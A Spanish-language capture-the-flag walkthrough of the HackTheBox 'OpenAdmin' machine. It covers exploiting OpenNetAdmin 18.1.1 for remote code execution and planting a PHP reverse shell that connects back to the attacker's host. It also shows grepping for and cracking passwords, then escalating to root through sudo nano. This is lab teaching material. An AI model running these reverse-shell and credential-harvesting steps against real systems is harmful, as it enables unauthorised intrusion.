OpenAdmin - [HTB]
Table of Contents
Introduction
Hoy os traigo una máquina de HackTheBox la cual tienes que explotar una vulnerabilidad sobre la interfaz web opennetadmin para después conseguir la flag de “user” a travéslas credenciales de los dos usuarios registrados en el sistema y finalmente realizar una escalada de privilegios mediante nano con el fin de conseguir la flag “root”.
Enumeration
Como siempre, empezamos escaneando los servicios de la máquina, para ello ejecutamos nmap:
nmap -sC -sV -oA nmap/openAdmin 10.10.10.171
-sC: Script Scan con los scripts por defecto
-sV: Version detection
-oA: Output to All formats, guarda los resultados en todos los formatos
Empezamos con el servidor web usando dirbuster para ver que carpetas se encuentran en el servidor apache.
dirb http://10.10.10.171/ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -w
-r: para que no busque recursivamente
-w: Para que no muestre los warnings
Solo me ha encontrado dos directorios, procedo a ver que hay en su interior.
Es una simple web estática que no tiene nada con lo que trabajar. Por lo tanto, paso a la siguiente.
Esta web tiene pinta de ser más interesante porque tiene para crearse una cuenta y hacer “Login”. Al clickar en “Login” nos lleva a una nueva página web.
Exploiting
Como puede verse pone que no esta en la última versión y que su versión actual es la 18.1.1. El problema es que no se de que herramienta estamos hablando pero al darle a “Download” me muestra que es opennetadmin. Por lo que busco en “searchsploit” por si hay algún exploit para esta máquina.
searchsploit opennetadmin
Aparecen tres exploits, dos de los cuales pertenecen a la versión 18.1.1. Pero solo uno de ellos me permite ejecutar código a distancia, por lo que me decido a usar el exploit “47891.sh”
searchsploit opennetadmin -m 47691
Por defecto, este exploit no funciona por problemas de dos con windows.
para solucionarlo ejecutamos el siguiente comando:
dos2unix 47691.sh
Una vez hemos hecho la conversión ya podemos ejecutarlo:
47691.sh http://10.10.10.171/ona/
como es bastante tosco hacer cosas con esta terminal y no me permite usar python. Subo una php-revershell a la máquina virtual para poder conseguir al final una shell en condiciones.
cp /usr/share/webshells/php/php-reverse-shell.php .
Antes de subirla hay que editarla cambiando la IP y el puerto a la cual se conectará. En mi caso es la “10.10.14.139”, aunque este mal escrita en el exploit jejejeje. Además, he cambiado el nombre para no tener que escribir tanto a la hora de subirla, porque muchas veces se reseta la máquina y es un follón tener que volverla a subir.
Antes de subirla tengo que ponerme a la escucha, para ello hago uso de netcat.
nc -tlv -p 1234
-t: TCP
-l: Listen
-v: Verbose
-p: puerto a escuchar
Ahora ya podemos subirla, en mi caso usaré el modulo de HTTP de python para crear un mini servidor web y luego, en la máquina virtual, ejecutaré wget para descargarme la revershell.
Cliente:
python -m SimpleHTTPServer
Máquina virtual:
wget 10.10.14.139:8000/PR.php
Ahora solo queda ejecutar el php para que se cree la terminal.
Ahora que ya tenemos la terminal vamos a hacerla más “bonita” para ello ejecutamos la siguiente sentencia.
python3 -c “import pty;pty.spawn(’/bin/bash’)”
Privilege escalation
Ahora ya tenemos una shell en condiciones, lamentablemente como estoy usando nmap, no puedo usar “TAB” para sacar resultados de nombres que no me acuerdo del todo. Pero no pasa nada, ahora toca enumerar y sacar toda la información sobre el interior de la máquina virtual. Para ello uso LinEnum.sh, un ponte script diseñado para sacar desde los usuarios en el sistema hasta las las interfaces de red, pasando por el número de procesos que esta corriendo en el sistema. Para descargar LinEnum.sh descargatelo a través del github del creador: https://github.com/rebootuser/LinEnum Para subirlo a la máquina virtual he usado el mismo procedimiento que con la revershell de php y una vez subido solo hay que ejecutarlo.
./LinEnum.sh \> enum.txt
Entre toda la información veo que existen los siguiente usuarios:
curiosamente jimmy tiene acceso a una carpeta “internal” en el servidor web a la que solo el puede acceder.
Pero nada más fuera del otro mundo. Así que procedo a buscar si hay alguna contraseña entre los ficheros del sistema. Para ello uso grep, filtrando por diferentes palabras que se pueden usar como nombres de contraseñas:
grep -R password \> password.txt
grep -R passw \> passw.txt
grep -R key \> key.txt
En el fichero passsw.txt encuentro la siguiente contraseña “n1nj4W4rri0R!” que pone que sirve para la configuración de la base de datos.
Lamentablemente no puedo acceder a la base de datos por falta de permisos.
Por lo que procedo a probar si sirve para Jimmy o para Joanna a través de ssh. Afortunademente, la contraseña es de Jimmy.
Como ya puedo acceder a la máquina como Jimmy, procedo a mirar que hay en el interior de la carpeta “internal”.
En el archivo index.php me encuentro un hash sha512,
que búscando en internet significa “Revealed”, pensando que sería la contraseña de Joanna he probado ha usarlo para ssh, pero no funciona. Sin embargo, en el archivo main.php, si se accede a la web te sacará la clave privada del usuario Joanna.
Sin embargo, a través de php no se puede acceder a la carpeta “internal”. Por lo que a través de netstat busco todos los procesos que tengan puertos a la escucha.
netstat -putona
De todos estos puertos quitando el 22, los demás están escuchando en local, por lo que usando curl voy a ir probando los puertos hasta dar con el indicado.
Máquina virtual:
curl localhost:52846/main.php
Ahora que tenemos la clave privada somos capaces de acceder a la máquina virtual como Joanna. Sin embargo, no podemos porque necesita una passphrase, la cual había intentado con “Revealed”, pero no ha funcionado. Por lo tanto, ejecuto ssh2john para sacar el hash de la passphrase y a través de john de ripper hacer fuerza bruta con rockyou y esperar a que saque la clave.
Por defecto ssh2john no esta instalado en kali linux, así que tienes que bajártelo del repositorio de github. https://github.com/koboi137/john y ejecutarlo contra el fichero que tiene la clave de Joanna.
python ssh2john.py claveJoanna \> claveJoannaJoh
Ahora solo falta correrlo contra john.
john claveJoannaJohn --wordlist=/usr/share/wordlists/rockyou.txt
La contraseña obtenida es “bloodninjas”. Ahora ya somos capaces de acceder a la máquina como Joanna.
ssh -i claveJoanna joanna@10.10.10.171
Donde una vez dentro, encontramos la flag “user”. Por lo que solo nos queda encontrar la flag de “root”. Como en LinEnum.sh no encontraba ningún programa que corriese como root con el bit s activado. He procedido a mirar el listado de los comandos que se me estan permitidos ejecutar con sudo.
sudo -l
El único comando que aparece es: “/bin/nano /opt/priv”. Por lo que busco en https://gtfobins.github.io/gtfobins/nano/#shell el método para obtener una shell con privilegios con nano.
Finalmente, una vez nos hemos convertido en root, solo tenemos que ir a la carpeta /root donde nos espera nuestra maravillosa “root” flag.